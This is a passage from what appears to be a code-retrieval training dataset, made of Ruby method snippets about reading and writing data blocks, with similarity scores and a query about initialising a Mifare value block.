#{sock_num}#{FIELD_SEPARATOR}REQUEST_BLOCK#{FIELD_SEPARATOR}#{size}\"\n send(query)\n end", "def reads\n (1..read_count).to_a\n end", "def read_n_bytes_from_remote(start_at, n_bytes)\n range = (start_at..(start_at + n_bytes - 1))\n request_range(range)\n end", "def long_read_len()\n #This is a stub, used for indexing\n end", "def read(i)\r\n\t\t\tres = @innerStream.read(i)\r\n\t\t\t@transferred += res.respond_to?(:length) ? res.length : 0\r\n\t\t\tnow = Time.new\r\n\t\t\tif(now - @last > 1) # don't do this oftener than once per second\r\n\t\t\t\t@printed = true\r\n\t\t\t\t$stdout.printf(\"\\rProgress: %db %db/s %s \", @transferred, (@transferred/(now - @start)).floor, \r\n\t\t\t\t\t@total > 0? (100 * @transferred/@total).floor.to_s + \"%\" : \"\" \r\n\t\t\t\t) \r\n\t\t\t\t$stdout.flush\r\n\t\t\t\t@last = now\r\n\t\t\tend\r\n\t\t\tres\r\n\t\tend", "def block_size\n @disk.block_size\n end", "def read_blocks(start_block, block_count, nonce)\n data = @disk.read_blocks start_block + @data_start, block_count\n hmacs = (0...block_count).map do |i|\n load_data = @tree_driver.load_leaf start_block + i\n load_data[:ops] <<\n { :op => :sign, :line => load_data[:line], :session_id => @sid,\n :nonce => nonce, :data => data[i * block_size, block_size],\n :block => start_block + i }\n add_tree_data_to_ops load_data[:ops]\n response = @fpga.perform_ops load_data[:ops]\n @tree_driver.perform_ops load_data[:ops]\n response.first\n end\n { :data => data, :hmacs => hmacs }\n end", "def blocks\n @num_blocks > 0 ? blocks_for_num_blocks :\n blocks_for_block_size\n end", "def\tblock_fork()\n\t\tposition = 1\n\t\treturn position\n\tend", "def\tblock_fork()\n\t\tposition = 1\n\t\treturn position\n\tend", "def read() end", "def read_block(session_id, block_id, nonce)\n _check_block_id block_id\n session_cache_entry = @allocator.session_cache_entry session_id\n data = @storage.read_block block_id\n hmac = @hash_tree_controller.sign_read_block block_id, session_cache_entry, nonce \n return data, hmac\n end", "def block_reference_count=(_arg0); end", "def read(pos)\n end", "def verify_block_num\r\n unless @block_number == @@total_block_number\r\n raise \"Line #{@@total_block_number}: invalid block number #{@block_number}, should be #{@@total_block_number}\"\r\n\r\n end\r\n\r\n true\r\n end", "def read_one_nonblock\n read_one if has_any?\n end", "def read(bytes)\n @reader.read_nonblock(bytes)\n rescue Errno::EAGAIN\n # it simply means that there's nothing in\n # the output buffer.\n rescue Errno::EIO => msg\n @pid = nil\n rescue EOFError => msg\n @pid = nil\n end", "def __read(buffer_length, buffer = nil)\n @io.read_nonblock(buffer_length, buffer)\n rescue Errno::EAGAIN, Errno::EWOULDBLOCK, Errno::EINTR\n Minx.yield\n retry\n end", "def read(byte_count)\n buffer = @current_io.read(byte_count)\n if !buffer\n select_next_io\n @current_io.read(byte_count)\n else\n buffer\n end\n end", "def get_next_block\n @store.get_block_by_prev_hash(@hash)\n end", "def read_buffer; end", "def handle_block(block_info) # :nodoc:\n if block_info.type == CONTROL_BLOCK\n read_control_block\n elsif block_info.type == DATA_BLOCK\n if !declared_stream?(block_info.index)\n Pocolog.warn \"found data block for stream #{block_info.index} but this stream has never been declared, seems Logfile is Corrupted. Skipping...\"\n end\n elsif block_info.type == STREAM_BLOCK\n read_stream_declaration\n end\n block_info.type\n end", "def read_long; end", "def recv(n)\n until(buffer.length >= n)\n read_stream\n sleep(0.1) unless buffer.length >= n\n end\n buffer.slice!(0, n)\n end", "def get_block(blk_hash)\n raise \"Not implemented\"\n end", "def readBlock(pieceIndex, offset, length)\n readRegions @pieceMapper.findBlock(pieceIndex, offset, length)\n end", "def read_nonblock\n begin\n res = @client.recv_nonblock(256)\n rescue IO::WaitReadable\n res = nil\n rescue Errno::ECONNREFUSED, Errno::EADDRNOTAVAIL\n puts \"#{'Error:'.error} Cannot communicate with Drone!\"\n @connected\n end\n end", "def line_number\n lines_read.length\n end", "def max_index\n blocks.max(:index) || 0\n end", "def check_block_number(index_num, block)\n if index_num != block.block_number\n puts \"Line #{index_num}: Invalid block number #{block.block_number}, should be #{index_num}\"\n return false\n end\n true\n end" ]
[ "0.78758854", "0.746229", "0.7339424", "0.7269744", "0.7141778", "0.7025135", "0.6846402", "0.68111926", "0.6790369", "0.67076594", "0.66905725", "0.66005886", "0.65945584", "0.65658164", "0.6549669", "0.65402275", "0.6487403", "0.64450425", "0.64450425", "0.6431583", "0.63686985", "0.6322224", "0.6296745", "0.6253779", "0.6194174", "0.61743814", "0.612833", "0.60873437", "0.60801214", "0.60683", "0.60566086", "0.60416967", "0.6012669", "0.59841126", "0.5979148", "0.59573174", "0.59526837", "0.59511995", "0.59378695", "0.5907367", "0.58948547", "0.5870169", "0.5867857", "0.5851678", "0.5837189", "0.5833876", "0.5802227", "0.5788372", "0.5788216", "0.5785189", "0.57818896", "0.5779551", "0.57785064", "0.576958", "0.57683927", "0.5765723", "0.5765723", "0.5765723", "0.5765723", "0.5756395", "0.5749227", "0.57285225", "0.5728085", "0.57123727", "0.57040316", "0.5697595", "0.5688137", "0.5673926", "0.5655896", "0.5647752", "0.5646591", "0.56112176", "0.55986905", "0.5590067", "0.55864984", "0.55710936", "0.5568814", "0.55615646", "0.5559793", "0.5559793", "0.555306", "0.5552331", "0.55160934", "0.5512678", "0.5511683", "0.55111945", "0.5509929", "0.5506996", "0.5506261", "0.5499519", "0.5492778", "0.54903656", "0.5490187", "0.5488572", "0.5475684", "0.5475605", "0.547081", "0.546194", "0.546095", "0.5460358" ]
0.65352714
16
Create value block structure and write it to block
def init_value(value, addr = nil, block_num = nil) block_num ||= @auth_block raise Mifare::Error, "Not authenticated" unless block_num addr ||= 0 res = Mifare.mifare_classic_init_value(@pointer, block_num, value, addr) raise Mifare::Error, "Can't init value block 0x%02x" % block_num if 0 != res end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_block(name, value)\n ContentBlock.find_or_create_by(name: name.to_s).update!(value: value)\n end", "def store_data(ky, v = nil, &block)\n if block_given?\n vi.data_store.store_data(directive: name, key: ky, value: data_struct(&block))\n else\n vi.data_store.store_data(directive: name, key: ky, value: v)\n end\n end", "def store(block, metadata, uuid = nil)\n uuid = generate_uuid if uuid.nil?\n path = get_path_from_uuid(uuid)\n\n data = block.to_a\n to_serialize = metadata.dup\n to_serialize[:version] = 0\n to_serialize[:data] = data\n\n begin\n Zlib::GzipWriter.open(path, 3, 0) do |zf|\n puts \"Saving a block to #{path}\"\n zf << to_serialize.to_yaml\n end\n rescue => e\n puts e\n puts e.backtrace\n nil\n end\n uuid\n end", "def write_specval rt\n cfp_ptr = rt.pointer(REG_CFP, type: RbControlFrameStruct)\n cfp_ptr.block_code = @blockiseq\n rt.with_ref(cfp_ptr.self) do |self_ref|\n VM_BH_FROM_ISEQ_BLOCK(rt, self_ref)\n yield self_ref\n end\n end", "def finalize_block(hash_val)\n index_hash = [\n 42, 21, 0,\n 1, 43, 22,\n 23, 2, 44,\n 45, 24, 3,\n 4, 46, 25,\n 26, 5, 47,\n 48, 27, 6,\n 7, 49, 28,\n 29, 8, 50,\n 51, 30, 9,\n 10, 52, 31,\n 32, 11, 53,\n 54, 33, 12,\n 13, 55, 34,\n 35, 14, 56,\n 57, 36, 15,\n 16, 58, 37,\n 38, 17, 59,\n 60, 39, 18,\n 19, 61, 40,\n 41, 20, 62,\n 63\n ]\n\n reordered_hash = (0..63).to_a.map { |i| [hash_val.getbyte(index_hash[i])].pack(\"*C\") }\n bytes_array = []\n reordered_hash.each_slice(3) { |b_slice|\n bytes_array << b_slice\n }\n three_byte_sets = bytes_array.first(21)\n last_byte = bytes_array.last\n (three_byte_sets.map { |tbs| encode_triple_bytes(tbs) }.join + encode_last_byte(last_byte))\n end", "def create_first_block\n\ti = 0\n\tinstance_variable_set( \"@b#{i}\", \n\t\t\t\t\t\t\t\t\t\t\t\t Block.first( \n\t\t\t\t\t\t\t\t\t\t\t\t\t{ from: \"Dutchgrown\", to: \"Vincent\", what: \"Tulip Bloemendaal Sunset\", qty: 10 },\n\t\t\t\t\t\t\t\t\t\t\t\t\t{ from: \"Keukenhof\", to: \"Anne\", what: \"Tulip Semper Augustus\", qty: 7 } )\n\t\t\t\t\t\t\t\t\t\t\t )\n\tLEDGER << @b0\n\tpp @b0\n\tp \"============================\"\n\tadd_block\nend", "def write_struct\n @struct.connection.set(@struct.key, 'foo')\n end", "def save_block(block)\n db.transaction do\n db[:l] = block.hash\n db[block.hash] = block\n db.commit\n end\n block\n end", "def value=(value)\n @block = nil\n @value = value\n end", "def write_blocks(nonce, start_block, block_count, data)\n # TODO: transactional integrity\n \n hmacs = (0...block_count).map do |i|\n load_data = @tree_driver.load_update_path start_block + i\n load_data[:ops] <<\n { :op => :update, :path => load_data[:path], :nonce => nonce,\n :data => data[i * block_size, block_size],\n :block => start_block + i, :session_id => @sid }\n add_tree_data_to_ops load_data[:ops]\n response = @fpga.perform_ops load_data[:ops]\n @tree_driver.perform_ops load_data[:ops]\n response.first\n end\n @disk.write_blocks start_block + @data_start, block_count, data\n { :hmacs => hmacs }\n end", "def test_blocks_legacy\n hash_ = ::Hash.new\n block_ = ::Proc.new do\n set_value(:a){ 1 }\n end\n ::Blockenspiel.invoke(block_) do\n add_method(:set_value, :receive_block => true) do |key_, bl_|\n hash_[key_] = bl_.call\n end\n end\n assert_equal(1, hash_[:a])\n end", "def new_block blk\n time = Time.now\n res = store_block(blk)\n log.info { \"block #{blk.hash} \" +\n \"[#{res[0]}, #{['main', 'side', 'orphan'][res[1]]}] \" +\n \"(#{\"%.4fs, %3dtx, %.3fkb\" % [(Time.now - time), blk.tx.size, blk.payload.bytesize.to_f/1000]})\" } if res && res[1]\n res\n end", "def write(&block)\n @write_block = block\n end", "def create_first_block\n i = 0\n instance_variable_set(\"@b#{i}\", Block.first({from: \"Minou\", to: \"VINE\", what:\"BTC\", qty: \"1000000\"}))\n #instance_variable_set permet de passer d'une chaine de caractère à une variable\n LEDGER << @b0\n p \"==============================\"\n pp @b0\n p \"==============================\"\n add_block\nend", "def set_block4(index, value)\n b1, b2, b3, *_ = _calculate_block_indices(index)\n block2 = @block1[b1] ||= Array.new(1 << BLOCK2)\n block3 = block2[b2] ||= Array.new(1 << BLOCK3)\n block3[b3] = value\n end", "def test_basic_builder\n block_ = proc do\n set_value(:a, 1)\n set_value_by_block(:b){ 2 }\n end\n hash_ = Hash.new\n Blockenspiel.invoke(block_) do\n add_method(:set_value) do |key_, value_|\n hash_[key_] = value_\n end\n add_method(:set_value_by_block, :receive_block => true) do |key_, bl_|\n hash_[key_] = bl_.call\n end\n end\n assert_equal(1, hash_[:a])\n assert_equal(2, hash_[:b])\n end", "def write(value)\n record.send(\"#{name}_data=\", value)\n end", "def encode_block(state, buf)\n\t\tbuf\n\tend", "def write!(*args, &block)\n value = block_given? ? yield : args.pop\n last = args.pop\n obj = args.inject(self) do |memo, key|\n raise Chef::Exceptions::AttributeTypeMismatch unless valid_container?(memo, key)\n\n memo[key]\n end\n raise Chef::Exceptions::AttributeTypeMismatch unless valid_container?(obj, last)\n\n obj[last] = value\n end", "def write_block(session_id, block_id, data, nonce)\n _check_block_id block_id\n session_cache_entry = @allocator.session_cache_entry session_id\n @storage.write_block block_id, data\n data_hash = @p.hash_engine.hash_block data\n @hash_tree_controller.sign_write_block block_id, data_hash, session_cache_entry, nonce\n end", "def write(block)\n @filemgr.write(block, @contents)\n end", "def add_block\n i= 1\n loop do\n instance_variable_set(\"@b#{i}\", Block.next(instance_variable_get(\"@b#{i-1}\"), get_transaction))\n #dans cette loop en demande nouveau blockd'aller prendre les donnée du block précédant\n\n LEDGER << instance_variable_get(\"@b#{i}\")\n\n p \"==============================\"\n pp instance_variable_get(\"@b#{i}\")\n p \"==============================\"\n i += 1\n end\n\nend", "def create_hash(&block); end", "def create_hash(&block); end", "def value(value)\n warn 'given block not used' if block_given?\n @builder.value(value)\n end", "def store_raw_block(block)\n payload = block.payload || block.to_payload\n if Toshi::Models::RawBlock.where(hsh: block.hash).empty?\n Toshi::Models::RawBlock.new(hsh: block.hash, payload: payload).save\n end\n end", "def write_block(type,index,payload)\n return Logfiles.write_block(wio,type,index,payload)\n end", "def test_blocks_normal\n hash_ = ::Hash.new\n block_ = ::Proc.new do\n set_value1(:a){ 1 }\n set_value2(:b){ 2 }\n set_value2(:c)\n end\n ::Blockenspiel.invoke(block_) do\n add_method(:set_value1) do |key_, &bl_|\n hash_[key_] = bl_.call\n end\n add_method(:set_value2) do |key_, &bl_|\n hash_[key_] = bl_ ? true : false\n end\n end\n assert_equal(1, hash_[:a])\n assert_equal(true, hash_[:b])\n assert_equal(false, hash_[:c])\n end", "def set_fields(fbe_value)\n id.set(fbe_value.id)\n symbol.set(fbe_value.symbol)\n side.set(fbe_value.side)\n type.set(fbe_value.type)\n price.set(fbe_value.price)\n volume.set(fbe_value.volume)\n end", "def set_fields(fbe_value)\n id.set(fbe_value.id)\n name.set(fbe_value.name)\n state.set(fbe_value.state)\n wallet.set(fbe_value.wallet)\n asset.set(fbe_value.asset)\n orders.set(fbe_value.orders)\n end", "def value(block_num = nil)\n \tv, _ = value_with_addr(block_num)\n \tv\n end", "def with_block(&block)\n yield self if block_given? && @value\n end", "def return_values(block_body_node); end", "def create(values = {}, &block)\n new(values, &block).save\n end", "def create(values = {}, &block)\n new(values, &block).save\n end", "def test_new\n\n b = Blockchain.new\n\n b << 'Genesis'\n b << 'Transaction Data...'\n b << ['Transaction Data...']\n b << ['Transaction Data...', 'Transaction Data...']\n b << [] ## empty block (no transactions)\n\n ## add do-it-yourself built block\n b << Block.next( b.last, 'Transaction Data...' )\n\n b << 'Transaction Data...'\n\n pp b\n\n assert true ## (for now) everything ok if we get here\nend", "def new\n\t\t@block = Block.new\n\tend", "def persist_block(blk)\n raise \"Not implemented\"\n end", "def pw(val, template)\n write([val].pack(template))\n end", "def value=(value); self.data.value = value; end", "def add_multi_block(block)\n\t\t\t@encoded << block\n\tend", "def write(value)\n # pass\n end", "def create_block\n block = nil\n f = nil\n tf = Tempfile.new path\n tf.close\n begin\n f = File.open tf.path, 'w'\n f.allocate Block.size\n f.close\n block = Block.new\n block.device = self\n block.save!\n File.rename tf.path, block.file_path\n rescue\n f.close if f && !f.closed?\n block.destroy if block\n tf.unlink if File.exist? tf.path\n raise\n end\n # TODO(pwnall): code\n end", "def write(*args, &block)\n value = block_given? ? yield : args.pop\n last = args.pop\n prev_memo = prev_key = nil\n chain = args.inject(self) do |memo, key|\n unless valid_container?(memo, key)\n prev_memo[prev_key] = {}\n memo = prev_memo[prev_key]\n end\n prev_memo = memo\n prev_key = key\n memo[key]\n end\n unless valid_container?(chain, last)\n prev_memo[prev_key] = {}\n chain = prev_memo[prev_key]\n end\n chain[last] = value\n end", "def create_blob_block(container, blob, block_id, content, options={})\n query = { 'comp' => 'block'}\n query['blockid'] = Base64.strict_encode64(block_id)\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n uri = blob_uri(container, blob, query)\n\n headers = service_properties_headers\n headers['Content-MD5'] = options[:content_md5] if options[:content_md5]\n\n response = call(:put, uri, content, headers)\n\n response.headers['Content-MD5']\n end", "def set_raw!(value)\n value = value.to_s\n\n @objects = nil\n @memory = FFI::MemoryPointer.new(:uchar, value.length) \n @memory.write_bytes(value)\n\n self[:type] = :raw\n\n raw = self[:values][:raw]\n raw[:size] = value.length\n raw[:ptr] = @memory\n end", "def serialize(value)\n fbe_begin = create_begin\n @_model.set(value)\n create_end(fbe_begin)\n end", "def serialize(value)\n fbe_begin = create_begin\n @_model.set(value)\n create_end(fbe_begin)\n end", "def serialize(value)\n fbe_begin = create_begin\n @_model.set(value)\n create_end(fbe_begin)\n end", "def serialize(value)\n fbe_begin = create_begin\n @_model.set(value)\n create_end(fbe_begin)\n end", "def get_parsable\n @block ||= Block.new\n end", "def write( &block )\n compile!( :write!, &block )\n end", "def add_single_block(block)\n\n\t\tif @decoded[block.blocks[0]].nil? \n\t\t \t@decoded[block.blocks[0]] = block.data \n\t\t\t@num_valid += 1\n\t\tend\n\tend", "def <<(value)\n self.yield value\n\n self\n end", "def write_ntag_block(blk, data)\n buffer = PN532::DataBuffer.new.set(data)\n\n resp = PN532.ntag_write_block(\n pn_struct,\n buffer,\n blk\n )\n\n check_error(resp)\n\n [blk, data]\n end", "def create_block_object(&block)\n block\nend", "def store *args, &block; put *args, &block; end", "def value= (val) ; write_attribute(:value, Marshal.dump(val)) ; end", "def create(**opts, &block)\n @blob.create(**opts) do |io|\n @compress.writer(io, **@opts) do |cio|\n @format.encoder(cio, **@opts, &block)\n end\n end\n end", "def pack(data, user, pw)\n slot = nil\n \n @store.transaction {\n @store['count'] += 1\n slot = @store['count'].to_s\n @store[slot] = {\n data: data,\n user: user,\n pwhash: pw,\n created: Time.now.utc.to_i\n }\n }\n\n slot\n end", "def write_fragment(key, content, options = T.unsafe(nil)); end", "def block_node=(_); end", "def create_block prev, store = true, tx = [], key = @key, coinbase_value = 50e8, opts = {}\n key ||= Bitcoin::Key.generate\n opts[:bits] ||= Bitcoin.network[:proof_of_work_limit]\n block = build_block(Bitcoin.decode_compact_bits(opts[:bits])) do |b|\n b.time opts[:time] if opts[:time]\n b.prev_block prev\n b.tx do |t|\n t.input {|i| i.coinbase }\n t.output {|o| o.value coinbase_value; o.script {|s| s.recipient key.addr } }\n end\n tx.each {|cb| b.tx {|t| cb.call(t) } }\n end\n @store.store_block(block) if store\n block\nend", "def test_blocks_first_and_last\n hash_ = ::Hash.new\n block_ = ::Proc.new do\n set_value1(:a){ 1 }\n set_value2(:b){ 2 }\n set_value2(:c){ 3 }\n end\n ::Blockenspiel.invoke(block_) do\n add_method(:set_value1, :block => :first) do |bl_, key_|\n hash_[key_] = bl_.call\n end\n add_method(:set_value2, :block => :last) do |key_, bl_|\n hash_[key_] = bl_.call\n end\n add_method(:set_value3, :block => true) do |bl_, key_|\n hash_[key_] = bl_.call\n end\n end\n assert_equal(1, hash_[:a])\n assert_equal(2, hash_[:b])\n assert_equal(3, hash_[:c])\n end", "def set_fields(fbe_value)\n byte0.set(fbe_value.byte0)\n byte1.set(fbe_value.byte1)\n byte2.set(fbe_value.byte2)\n byte3.set(fbe_value.byte3)\n byte4.set(fbe_value.byte4)\n byte5.set(fbe_value.byte5)\n char0.set(fbe_value.char0)\n char1.set(fbe_value.char1)\n char2.set(fbe_value.char2)\n char3.set(fbe_value.char3)\n char4.set(fbe_value.char4)\n char5.set(fbe_value.char5)\n wchar0.set(fbe_value.wchar0)\n wchar1.set(fbe_value.wchar1)\n wchar2.set(fbe_value.wchar2)\n wchar3.set(fbe_value.wchar3)\n wchar4.set(fbe_value.wchar4)\n wchar5.set(fbe_value.wchar5)\n int8b0.set(fbe_value.int8b0)\n int8b1.set(fbe_value.int8b1)\n int8b2.set(fbe_value.int8b2)\n int8b3.set(fbe_value.int8b3)\n int8b4.set(fbe_value.int8b4)\n int8b5.set(fbe_value.int8b5)\n uint8b0.set(fbe_value.uint8b0)\n uint8b1.set(fbe_value.uint8b1)\n uint8b2.set(fbe_value.uint8b2)\n uint8b3.set(fbe_value.uint8b3)\n uint8b4.set(fbe_value.uint8b4)\n uint8b5.set(fbe_value.uint8b5)\n int16b0.set(fbe_value.int16b0)\n int16b1.set(fbe_value.int16b1)\n int16b2.set(fbe_value.int16b2)\n int16b3.set(fbe_value.int16b3)\n int16b4.set(fbe_value.int16b4)\n int16b5.set(fbe_value.int16b5)\n uint16b0.set(fbe_value.uint16b0)\n uint16b1.set(fbe_value.uint16b1)\n uint16b2.set(fbe_value.uint16b2)\n uint16b3.set(fbe_value.uint16b3)\n uint16b4.set(fbe_value.uint16b4)\n uint16b5.set(fbe_value.uint16b5)\n int32b0.set(fbe_value.int32b0)\n int32b1.set(fbe_value.int32b1)\n int32b2.set(fbe_value.int32b2)\n int32b3.set(fbe_value.int32b3)\n int32b4.set(fbe_value.int32b4)\n int32b5.set(fbe_value.int32b5)\n uint32b0.set(fbe_value.uint32b0)\n uint32b1.set(fbe_value.uint32b1)\n uint32b2.set(fbe_value.uint32b2)\n uint32b3.set(fbe_value.uint32b3)\n uint32b4.set(fbe_value.uint32b4)\n uint32b5.set(fbe_value.uint32b5)\n int64b0.set(fbe_value.int64b0)\n int64b1.set(fbe_value.int64b1)\n int64b2.set(fbe_value.int64b2)\n int64b3.set(fbe_value.int64b3)\n int64b4.set(fbe_value.int64b4)\n int64b5.set(fbe_value.int64b5)\n uint64b0.set(fbe_value.uint64b0)\n uint64b1.set(fbe_value.uint64b1)\n uint64b2.set(fbe_value.uint64b2)\n uint64b3.set(fbe_value.uint64b3)\n uint64b4.set(fbe_value.uint64b4)\n uint64b5.set(fbe_value.uint64b5)\n end", "def value_written; end", "def <<(block)\n # parent assignment pending refactor\n #block.parent = self\n @blocks << block\n end", "def to_h\n (@value || HashBuilder.new(&@block)).to_h\n end", "def write_mifare_block(blk, data, _auth = auth_mifare_block(blk))\n buffer = PN532::DataBuffer.new.set(data)\n\n resp = PN532.mifare_write_block(\n pn_struct,\n buffer,\n blk\n )\n\n check_error(resp)\n [blk, data]\n end", "def write!(value = nil, options = {})\n value, options = nil, value if value.is_a?(Hash)\n write(value, options) if value\n if block_given?\n yield size == @reg.size ? @reg : self\n end\n @reg.request(:write_register, options)\n self\n end", "def writeBlock(pieceIndex, offset, block)\n id = returnAndIncrRequestId\n return id if @state == :after_stop\n @requests.push [id, :write_block, pieceIndex, offset, block]\n @requestsSemaphore.signal\n id\n end", "def store(val, ptr)\n ptr = Convert(ptr, :pointer)\n @builder.store(Convert(val, ptr.type.element_type), ptr)\n end", "def create_cdata(string, &block); end", "def create_cdata(string, &block); end", "def data_struct_template=(newval)\n @data_struct_template = newval\n end", "def serialize(value)\n fbe_initial_size = buffer.size\n\n fbe_struct_type = fbe_type\n fbe_struct_size = 8 + @_model.fbe_allocation_size(value)\n fbe_struct_offset = buffer.allocate(fbe_struct_size) - buffer.offset\n if (buffer.offset + fbe_struct_offset + fbe_struct_size) > buffer.size\n return 0\n end\n\n fbe_struct_size = 8 + @_model.set(value)\n buffer.resize(fbe_initial_size + fbe_struct_size)\n\n write_uint32(@_model.fbe_offset - 8, fbe_struct_size)\n write_uint32(@_model.fbe_offset - 4, fbe_struct_type)\n\n fbe_struct_size\n end", "def serialize(value)\n fbe_initial_size = buffer.size\n\n fbe_struct_type = fbe_type\n fbe_struct_size = 8 + @_model.fbe_allocation_size(value)\n fbe_struct_offset = buffer.allocate(fbe_struct_size) - buffer.offset\n if (buffer.offset + fbe_struct_offset + fbe_struct_size) > buffer.size\n return 0\n end\n\n fbe_struct_size = 8 + @_model.set(value)\n buffer.resize(fbe_initial_size + fbe_struct_size)\n\n write_uint32(@_model.fbe_offset - 8, fbe_struct_size)\n write_uint32(@_model.fbe_offset - 4, fbe_struct_type)\n\n fbe_struct_size\n end", "def serialize(value)\n fbe_initial_size = buffer.size\n\n fbe_struct_type = fbe_type\n fbe_struct_size = 8 + @_model.fbe_allocation_size(value)\n fbe_struct_offset = buffer.allocate(fbe_struct_size) - buffer.offset\n if (buffer.offset + fbe_struct_offset + fbe_struct_size) > buffer.size\n return 0\n end\n\n fbe_struct_size = 8 + @_model.set(value)\n buffer.resize(fbe_initial_size + fbe_struct_size)\n\n write_uint32(@_model.fbe_offset - 8, fbe_struct_size)\n write_uint32(@_model.fbe_offset - 4, fbe_struct_type)\n\n fbe_struct_size\n end", "def serialize(value)\n fbe_initial_size = buffer.size\n\n fbe_struct_type = fbe_type\n fbe_struct_size = 8 + @_model.fbe_allocation_size(value)\n fbe_struct_offset = buffer.allocate(fbe_struct_size) - buffer.offset\n if (buffer.offset + fbe_struct_offset + fbe_struct_size) > buffer.size\n return 0\n end\n\n fbe_struct_size = 8 + @_model.set(value)\n buffer.resize(fbe_initial_size + fbe_struct_size)\n\n write_uint32(@_model.fbe_offset - 8, fbe_struct_size)\n write_uint32(@_model.fbe_offset - 4, fbe_struct_type)\n\n fbe_struct_size\n end", "def write( addr, val )\n row_idx, col_idx = address_to_indices( addr )\n ( row_idx - rows ).times { @data << [] }\n @data[ row_idx-1 ][ col_idx-1 ] = val\n calc_dimensions if row_idx > rows || col_idx > cols\n val\n end", "def add_block name, hash\n\t\t\t@blocks ||= {}\n\t\t\t@blocks[name] = hash\n\t\tend", "def create_block(arg_type , frame_type)\n @callable.create_block(arg_type ,frame_type)\n end", "def write(io)\n io.write [@value].pack(format)\n end", "def handle_store_block hex\n block = Bitcoin::P::Block.new(hex.htb)\n @node.queue << [:block, block]\n { queued: [ :block, block.hash ] }\n end", "def update_field(field_name, &block)\n latest = Transaction.current.updated(self).record\n vector = increment_vector_clock(latest['_flowHeader']['vectorClock'])\n header = latest['_flowHeader'].merge('vectorClock' => vector)\n version = {\n 'lastWriterID' => Flow.peer_id,\n 'vectorClockSum' => vector.inject(0) {|sum, entry| sum + entry['count'] }\n }\n new_value = yield version\n self.class.new(latest.merge('_flowHeader' => header, field_name => new_value))\n end", "def content\n [keyword, value].pack(\"Z*a*\")\n end", "def new_block(proof, previous_hash = nil)\n block = {\n index: @chain.length + 1,\n epoch: Time.now.utc.to_f,\n transactions: @current_transactions,\n cost: @current_transactions.length - 1,\n proof: proof,\n previous_hash: previous_hash || Blockchain.hash(@chain.last)\n }\n @current_transactions = []; @chain << block; block\n end", "def create_block_variables(form_hash, display_type)\n ActiveRecord::Base.transaction do\n if !form_hash.nil?\n \n # Find the block these variables are for\n block_name = form_hash[:name]\n \n workflow_id = session[:workflow_id]\n \n block = Block.where(:name => block_name, :workflow_id => session[:workflow_id]).first\n if block.nil?\n block = Block.create({:name => block_name, :workflow_id => workflow_id, :sort_index => Block.where(:workflow_id => workflow_id).size})\n end\n \n \n # Iterate through lines in the input string\n form_hash[:variables_string].lines do |line|\n \n # Trim the line to get a variable name\n variable_name = line.strip\n if variable_name.empty? # TODO: get better input validation\n flash.now[:block_failed] = 'Your variable name was empty. Please try again.'\n next\n end\n \n # Find the variable\n variable = Variable.find_by_name(variable_name)\n if variable.nil?\n flash.now[:block_failed] = \"Sorry, we couldn't find a variable named #{variable_name}! Please try again\"\n next\n end\n \n # Determine sort_index\n sort_index = block.block_variables.size\n \n # Create a block variable\n # NOTE: this may fail for various reasons (i.e. sort_index collision from race condition)\n bv = block.block_variables.create({:display_type => display_type, :variable_id => variable.id, :sort_index => sort_index})\n if bv.nil?\n flash.now[:block_failed] = \"Failed to create block_variable with variable_id => #{variable.id} and sort_index => #{sort_index}\"\n end #end if\n end #end form\n end # end if\n end # end transaction\n end", "def output\n val = parent.get(@value)\n if @blocks.has_key?(val)\n @blocks[val].output\n else\n @default.output\n end\n end", "def data_block\n return @data_block unless @data_block.nil?\n io = _root.data_blocks_with_io._io\n _pos = io.pos\n io.seek(ofs_data_block)\n @data_block = DataBlock.new(io, self, @_root)\n io.seek(_pos)\n @data_block\n end", "def store_field(data)\n @io.write [data.size].pack(\"V\") \n offset = @io.pos\n @io.write data\n @io.write \"\\0\"\n offset \n end", "def body(value = nil, &block)\n __define__(:body, value, block)\n end", "def each_value(&block)\n @db.each_key{|key|yield @db[key]}\n end", "def map(&block_)\n if @parent\n vec_ = ::Array.new(@structure.dim, 0)\n nvals_ = (0...@structure.size).map do |i_|\n val_ = yield(@vals[@offset + @structure._compute_offset_for_vector(vec_)])\n @structure._inc_vector(vec_)\n val_\n end\n Table.new(@structure.unlocked_copy, :acquire => nvals_)\n else\n Table.new(@structure, :acquire => @vals.map(&block_))\n end\n end", "def set_blocks hash\n\t\t\t@blocks = hash\n\t\tend", "def content\n [keyword, value].pack('Z*a*')\n end", "def store!(key, value)\n if @nested && Hash === value # value.respond_to?(:to_hash)\n value = OpenStruct2.new(value)\n end\n\n #new_ostruct_member(key) # this is here only for speed bump\n\n @table[key.to_sym] = value\n end", "def set_fields(fbe_value)\n fbe_current_offset = 0\n fbe_current_size = 0\n\n byte0.fbe_offset = fbe_current_offset\n fbe_field_size = byte0.set(fbe_value.byte0)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n byte1.fbe_offset = fbe_current_offset\n fbe_field_size = byte1.set(fbe_value.byte1)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n byte2.fbe_offset = fbe_current_offset\n fbe_field_size = byte2.set(fbe_value.byte2)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n byte3.fbe_offset = fbe_current_offset\n fbe_field_size = byte3.set(fbe_value.byte3)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n byte4.fbe_offset = fbe_current_offset\n fbe_field_size = byte4.set(fbe_value.byte4)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n byte5.fbe_offset = fbe_current_offset\n fbe_field_size = byte5.set(fbe_value.byte5)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n char0.fbe_offset = fbe_current_offset\n fbe_field_size = char0.set(fbe_value.char0)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n char1.fbe_offset = fbe_current_offset\n fbe_field_size = char1.set(fbe_value.char1)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += fbe_field_size\n\n char2.fbe_offset = fbe_current_offset\n fbe_field_size = char2.set(fbe_value.char2)\n # noinspection RubyUnusedLocalVariable\n fbe_current_offset += fbe_field_size\n fbe_current_size += 